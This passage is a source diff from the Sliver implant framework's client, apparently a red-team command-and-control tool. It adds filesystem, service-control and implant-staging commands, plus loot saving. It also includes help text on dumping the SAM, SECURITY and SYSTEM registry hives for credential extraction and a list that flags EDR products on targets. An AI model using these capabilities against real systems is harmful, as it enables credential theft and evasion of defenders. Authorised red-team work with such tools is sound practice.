/* If the HTTP C2 Config name is not defined, then put in the default value
This will have no effect on implants that do not use HTTP C2
Also this should be overridden when the build info is pulled from the
database, but if there is no build info and we have to create the build
from scratch, we need to have something in here.
*/
if config.HTTPC2ConfigName == "" {
config.HTTPC2ConfigName = consts.DefaultC2Profile
}
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: pid,
Config: config,
+10 -10
View File
@@ -487,16 +487,10 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
// extArgs := strings.Join(args, " ")
//legacy case - single string arg
if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" {
extensionArgs = []byte(strings.Join(args, " "))
} else {
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("ext args error: %s\n", err)
return
}
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("ext args error: %s\n", err)
return
}
extName = ext.CommandName
entryPoint = ext.Entrypoint
@@ -558,6 +552,12 @@ func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
// Parse BOF arguments from grumble
missingRequiredArgs := make([]string, 0)
// If we have an extension that expects a single string, but more than one has been parsed, combine them
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") {
// The loop below will only read the first element of args because ext.Arguments is 1
args[0] = strings.Join(args, " ")
}
for _, arg := range ext.Arguments {
// If we don't have any positional words left to consume,
// add the remaining required extension arguments in the
+99
View File
@@ -230,6 +230,101 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor"))
mountCmd := &cobra.Command{
Use: consts.MountStr,
Short: "Get information on mounted filesystems",
Long: help.GetHelpFor([]string{consts.MountStr}),
Run: func(cmd *cobra.Command, args []string) {
MountCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, mountCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
grepCmd := &cobra.Command{
Use: consts.GrepStr,
Short: "Search for strings that match a regex within a file or directory",
Long: help.GetHelpFor([]string{consts.GrepStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
GrepCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, grepCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.BoolP("recursive", "r", false, "search recursively")
f.BoolP("insensitive", "i", false, "case-insensitive search")
f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)")
f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)")
f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x")
f.BoolP("exact", "e", false, "match the search term exactly")
})
carapace.Gen(grepCmd).PositionalCompletion(
carapace.ActionValues().Usage("regex to search the file for"),
carapace.ActionValues().Usage("remote path / file to search in"),
)
headCmd := &cobra.Command{
Use: consts.HeadStr,
Short: "Grab the first number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.HeadStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
HeadCmd(cmd, con, args, true)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, headCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
})
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
tailCmd := &cobra.Command{
Use: consts.TailStr,
Short: "Grab the last number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.TailStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
HeadCmd(cmd, con, args, false)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, tailCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
})
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
return []*cobra.Command{
mvCmd,
cpCmd,
@@ -242,5 +337,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
downloadCmd,
uploadCmd,
memfilesCmd,
mountCmd,
grepCmd,
headCmd,
tailCmd,
}
}
+165
View File
@@ -0,0 +1,165 @@
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package filesystem
import (
"context"
"fmt"
"math"
"google.golang.org/protobuf/proto"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// Drive mappings for Windows
var driveTypeMap = map[string]string{
"0": "Unknown",
"1": "Root Path invalid (no volume mounted for path)",
"2": "Removable",
"3": "Fixed disk",
"4": "Remote / network drive",
"5": "CD-ROM",
"6": "RAM disk",
}
// MountCmd - Print information about mounted filesystems
func MountCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
mount, err := con.Rpc.Mount(context.Background(), &sliverpb.MountReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
os := getOS(session, beacon)
if mount.Response != nil && mount.Response.Async {
con.AddBeaconCallback(mount.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mount)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMount(os, mount, con)
})
con.PrintAsyncResponse(mount.Response)
} else {
PrintMount(os, mount, con)
}
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
} else if beacon != nil {
return beacon.OS
}
return ""
}
func reduceSpaceMetric(numberOfBytes float64) string {
units := []string{"B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"}
if numberOfBytes < 1 {
return fmt.Sprintf("0 %s", units[0])
}
base := 1024.0
exp := math.Floor(math.Log(numberOfBytes) / math.Log(base))
index := int(math.Min(exp, float64(len(units)-1)))
divisor := math.Pow(base, float64(index))
value := numberOfBytes / divisor
return fmt.Sprintf("%.2f %s", value, units[index])
}
// PrintMount - Print a table containing information on mounted filesystems
func PrintMount(os string, mount *sliverpb.Mount, con *console.SliverClient) {
if mount.Response != nil && mount.Response.Err != "" {
con.PrintErrorf("%s\n", mount.Response.Err)
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
switch os {
case "windows":
tw.AppendHeader(table.Row{"Volume", "Volume Type", "Mount Point", "Label", "Filesystem", "Used Space", "Free Space", "Total Space"})
case "darwin":
fallthrough
case "linux":
fallthrough
default:
tw.AppendHeader(table.Row{"Source", "Mount Point", "Mount Root", "Filesystem Type", "Options", "Total Space"})
}
for _, mountPoint := range mount.Info {
row := mountRow(os, mountPoint)
tw.AppendRow(row)
}
settings.PaginateTable(tw, 0, false, false, con)
}
func mountRow(os string, mountInfo *sliverpb.MountInfo) table.Row {
var row table.Row
switch os {
case "windows":
// Translate VolumeType
volType, ok := driveTypeMap[mountInfo.VolumeType]
if !ok {
volType = driveTypeMap["0"]
}
row = table.Row{mountInfo.VolumeName,
volType,
mountInfo.MountPoint,
mountInfo.Label,
mountInfo.FileSystem,
reduceSpaceMetric(float64(mountInfo.UsedSpace)),
reduceSpaceMetric(float64(mountInfo.FreeSpace)),
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
}
case "darwin":
fallthrough
case "linux":
fallthrough
default:
row = table.Row{mountInfo.VolumeName,
mountInfo.MountPoint,
mountInfo.Label,
mountInfo.VolumeType,
mountInfo.MountOptions,
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
}
}
return row
}
+12
View File
@@ -4,6 +4,7 @@ import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
@@ -269,6 +270,16 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(implantsRmCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
implantBuildsCmd.AddCommand(implantsRmCmd)
implantsStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Serve a previously generated build",
Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}),
Run: func(cmd *cobra.Command, args []string) {
ImplantsStageCmd(cmd, con, args)
},
}
implantBuildsCmd.AddCommand(implantsStageCmd)
canariesCmd := &cobra.Command{
Use: consts.CanariesStr,
Short: "List previously generated canaries",
@@ -321,6 +332,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.Int64P("reconnect", "j", DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int64P("poll-timeout", "P", DefaultPollTimeout, "long poll request timeout")
f.Uint32P("max-errors", "k", DefaultMaxErrors, "max number of connection errors")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
// Limits
f.StringP("limit-datetime", "w", "", "limit execution to before datetime")
+47 -16
View File
@@ -78,22 +78,25 @@ var (
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.EnvStr: getEnvHelp,
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.EnvStr: getEnvHelp,
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.RegistryReadStr + consts.RegistryReadHiveStr: regReadHiveHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
consts.ServicesStr: servicesHelp,
// Loot
consts.LootStr: lootHelp,
@@ -124,7 +127,7 @@ var (
[[.Bold]]About:[[.Normal]] Manage jobs/listeners.`
sessionsHelp = `[[.Bold]]Command:[[.Normal]] sessions <options>
[[.Bold]]About:[[.Normal]] List Sliver sessions, and optionally interact or kill a session.`
[[.Bold]]About:[[.Normal]] List Sliver sessions, and optionally interact or kill a session. Process integrity information is only available on Windows and is updated each time the getprivs command is executed.`
backgroundHelp = `[[.Bold]]Command:[[.Normal]] background
[[.Bold]]About:[[.Normal]] Background the active Sliver.`
@@ -378,6 +381,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
`
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
@@ -573,6 +579,26 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
regReadHiveHelp = `[[.Bold]]Command:[[.Normal]] registry read hive [name]
[[.Bold]]About:[[.Normal]] Read the contents of a registry hive into a binary file
[[.Bold]]Example:[[.Normal]] registry read hive --hive HKLM --save SAM.save SAM
This command reads the data from a specified registry hive into a binary file, suitable for use with tools like secretsdump.
The specified hive must be relative to a root hive (such as HKLM or HKCU). For example, if you want to read the SAM hive, the
root hive is HKLM, and the specified hive is SAM.
This command requires that the process has or can get the SeBackupPrivilege privilege. If you want to dump the SAM, SECURITY, and
SYSTEM hives, your process must be running with High integrity (i.e. running as SYSTEM).
Supported root hives are:
- HKEY_LOCAL_MACHINE (HKLM, default)
- HKEY_CURRENT_USER (HKCU)
- HKEY_CURRENT_CONFIG (HKCC)
- HKEY_PERFORMANCE_DATA (HKPD)
- HKEY_USERS (HKU)
- HKEY_CLASSES_ROOT (HKCR)
The root hive must be specified using its abbreviation, such as HKLM, and not its full name.
This command will only run against the local machine.
`
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
@@ -1293,6 +1319,11 @@ Searches can be filtered using the following patterns:
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
servicesHelp = `[[.Bold]]Command:[[.Normal]] services [-H <hostname>]
[[.Bold]]About:[[.Normal]] Get information about services and control them (start, stop).
To get information about services, you need to be an authenticated user on the system or domain. To control services, you need administrator or higher privileges.`
)
const (
+5
View File
@@ -203,6 +203,11 @@ func LootText(text string, lootName string, lootFileName string, fileType client
SendLootMessage(lootMessage, con)
}
func LootBinary(data []byte, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverClient) {
lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), lootFileName, lootName, fileType, data)
SendLootMessage(lootMessage, con)
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -1,4 +0,0 @@
Prelude Operator
=================
Connection code for [Prelude Operator](https://www.prelude.org/)
@@ -1,45 +0,0 @@
package operator
import (
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
operatorCmd := &cobra.Command{
Use: consts.PreludeOperatorStr,
Short: "Manage connection to Prelude's Operator",
Long: help.GetHelpFor([]string{consts.PreludeOperatorStr}),
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
OperatorCmd(cmd, con, args)
},
}
operatorConnectCmd := &cobra.Command{
Use: consts.ConnectStr,
Short: "Connect with Prelude's Operator",
Long: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
Run: func(cmd *cobra.Command, args []string) {
ConnectCmd(cmd, con, args)
},
Args: cobra.ExactArgs(1),
}
operatorCmd.AddCommand(operatorConnectCmd)
flags.Bind("operator", false, operatorConnectCmd, func(f *pflag.FlagSet) {
f.BoolP("skip-existing", "s", false, "Do not add existing sessions as Operator Agents")
f.StringP("aes-key", "a", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
f.StringP("range", "r", "sliver", "Agents range")
})
carapace.Gen(operatorConnectCmd).PositionalCompletion(
carapace.ActionValues().Usage("connection string to the Operator Host (e.g. 127.0.0.1:1234)"))
return []*cobra.Command{operatorCmd}
}
@@ -1,84 +0,0 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
url := args[0]
aesKey, _ := cmd.Flags().GetString("aes-key")
agentRange, _ := cmd.Flags().GetString("range")
skipExisting, _ := cmd.Flags().GetBool("skip-existing")
config := &prelude.OperatorConfig{
Range: agentRange,
OperatorURL: url,
RPC: con.Rpc,
AESKey: aesKey,
}
implantMapper := prelude.InitImplantMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get session list: %s", err)
return
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
con.PrintInfof("Done !\n")
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get beacon list: %s", err)
return
}
if len(beacons.Beacons) > 0 {
con.PrintInfof("Adding existing beacons ...\n")
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
}
}
con.PrintInfof("Done !\n")
}
}
}
@@ -1,34 +0,0 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
)
func OperatorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if prelude.ImplantMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+14 -2
View File
@@ -59,6 +59,11 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
return
}
PrintGetPrivs(privs, pid, con)
err = updateBeaconIntegrityInformation(con, beacon.ID, privs.ProcessIntegrity)
if err != nil {
con.PrintWarnf("Could not save integrity information for the beacon: %s\n", err)
return
}
})
con.PrintAsyncResponse(privs.Response)
} else {
@@ -70,7 +75,7 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverClient) {
// Response is the Envelope (see RPC API), Err is part of it.
if privs.Response != nil && privs.Response.Err != "" {
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("\nNOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("%s\n", privs.Response.Err)
}
if privs.PrivInfo == nil {
@@ -101,7 +106,7 @@ func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverClien
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Printf("Privilege Information for %s (PID: %d)\n", processName, pid)
con.Printf("\nPrivilege Information for %s (PID: %d)\n", processName, pid)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
@@ -145,3 +150,10 @@ func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
}
panic("no session or beacon")
}
func updateBeaconIntegrityInformation(con *console.SliverClient, beaconID string, integrity string) error {
_, err := con.Rpc.UpdateBeaconIntegrityInformation(context.Background(), &clientpb.BeaconIntegrity{BeaconID: beaconID,
Integrity: integrity})
return err
}
+1 -1
View File
@@ -58,7 +58,7 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
}
if username == "" || password == "" {
con.PrintErrorf("Pou must provide a username and password\n")
con.PrintErrorf("You must provide a username and password\n")
return
}
+62 -2
View File
@@ -50,7 +50,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("loot-name", "N", "", "name to assign when adding the memory dump to the loot store (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Int32P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles()
@@ -72,5 +72,65 @@ func Commands(con *console.SliverClient) []*cobra.Command {
})
carapace.Gen(terminateCmd).PositionalCompletion(carapace.ActionValues().Usage("process ID"))
return []*cobra.Command{psCmd, procdumpCmd, terminateCmd}
servicesCmd := &cobra.Command{
Use: consts.ServicesStr,
Short: "Service operations",
Long: help.GetHelpFor([]string{consts.ServicesStr}),
Run: func(cmd *cobra.Command, args []string) {
ServicesCmd(cmd, con, args)
},
GroupID: consts.ProcessHelpGroup,
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, servicesCmd, func(f *pflag.FlagSet) {
f.StringP("host", "H", "localhost", "Hostname to retrieve service information from")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
serviceInfoCmd := &cobra.Command{
Use: consts.ServicesInfoStr,
Short: "Get detailed information about a single service",
Long: help.GetHelpFor([]string{consts.ServicesStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ServiceInfoCmd(cmd, con, args)
},
}
flags.Bind("", false, serviceInfoCmd, func(f *pflag.FlagSet) {
f.StringP("host", "H", "localhost", "Hostname to retrieve service information from")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
servicesCmd.AddCommand(serviceInfoCmd)
serviceStopCmd := &cobra.Command{
Use: consts.ServicesStopStr,
Short: "Stop a service on the local machine or a remote machine",
Long: help.GetHelpFor([]string{consts.ServicesStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ServiceStopCmd(cmd, con, args)
},
}
flags.Bind("", false, serviceStopCmd, func(f *pflag.FlagSet) {
f.StringP("host", "H", "localhost", "Hostname to stop service on")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
servicesCmd.AddCommand(serviceStopCmd)
serviceStartCmd := &cobra.Command{
Use: consts.ServicesStartStr,
Short: "Start a service on the local machine or a remote machine",
Long: help.GetHelpFor([]string{consts.ServicesStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ServiceStartCmd(cmd, con, args)
},
}
flags.Bind("", false, serviceStartCmd, func(f *pflag.FlagSet) {
f.StringP("host", "H", "localhost", "Hostname to start service on")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
servicesCmd.AddCommand(serviceStartCmd)
return []*cobra.Command{psCmd, procdumpCmd, terminateCmd, servicesCmd}
}
+4
View File
@@ -46,6 +46,10 @@ var knownSecurityTools = map[string][]string{
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"elastic-agent.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
"elastic-endpoint.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
"filebeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - log shipper
"metricbeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - metric shipper
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
+374
View File
@@ -0,0 +1,374 @@
package processes
import (
"context"
"fmt"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/term"
)
const (
serviceStopped = 1
serviceStartPending = 2
serviceStopPending = 3
serviceRunning = 4
serviceContinuePending = 5
servicePausePending = 6
servicePaused = 7
serviceBootStart = 0
serviceSystemStart = 1
serviceAutoStart = 2
serviceDemandStart = 3
serviceDisabled = 4
)
func ServicesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// Hopefully this command being Windows only is temporary
activeOS := getOS(session, beacon)
if activeOS != "windows" {
con.PrintErrorf("The services command is currently only available on Windows")
return
}
hostname, _ := cmd.Flags().GetString("host")
services, err := con.Rpc.Services(context.Background(), &sliverpb.ServicesReq{
Hostname: hostname,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if services.Response != nil && services.Response.Async {
con.AddBeaconCallback(services.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, services)
if err != nil {
con.PrintErrorf("Failed to decode response: %s\n", err)
return
}
PrintServices(services, con)
})
con.PrintAsyncResponse(services.Response)
} else {
PrintServices(services, con)
}
}
func ServiceInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// Hopefully this command being Windows only is temporary
activeOS := getOS(session, beacon)
if activeOS != "windows" {
con.PrintErrorf("The services command is currently only available on Windows")
return
}
hostname, _ := cmd.Flags().GetString("host")
serviceName := args[0]
if serviceName == "" {
con.PrintErrorf("A service name is required")
return
}
serviceInfo, err := con.Rpc.ServiceDetail(context.Background(), &sliverpb.ServiceDetailReq{
ServiceInfo: &sliverpb.ServiceInfoReq{Hostname: hostname, ServiceName: serviceName},
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if serviceInfo.Response != nil && serviceInfo.Response.Async {
con.AddBeaconCallback(serviceInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, serviceInfo)
if err != nil {
con.PrintErrorf("Failed to decode response: %s\n", err)
return
}
PrintServiceDetail(serviceInfo, con)
})
con.PrintAsyncResponse(serviceInfo.Response)
} else {
PrintServiceDetail(serviceInfo, con)
}
}
func ServiceStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
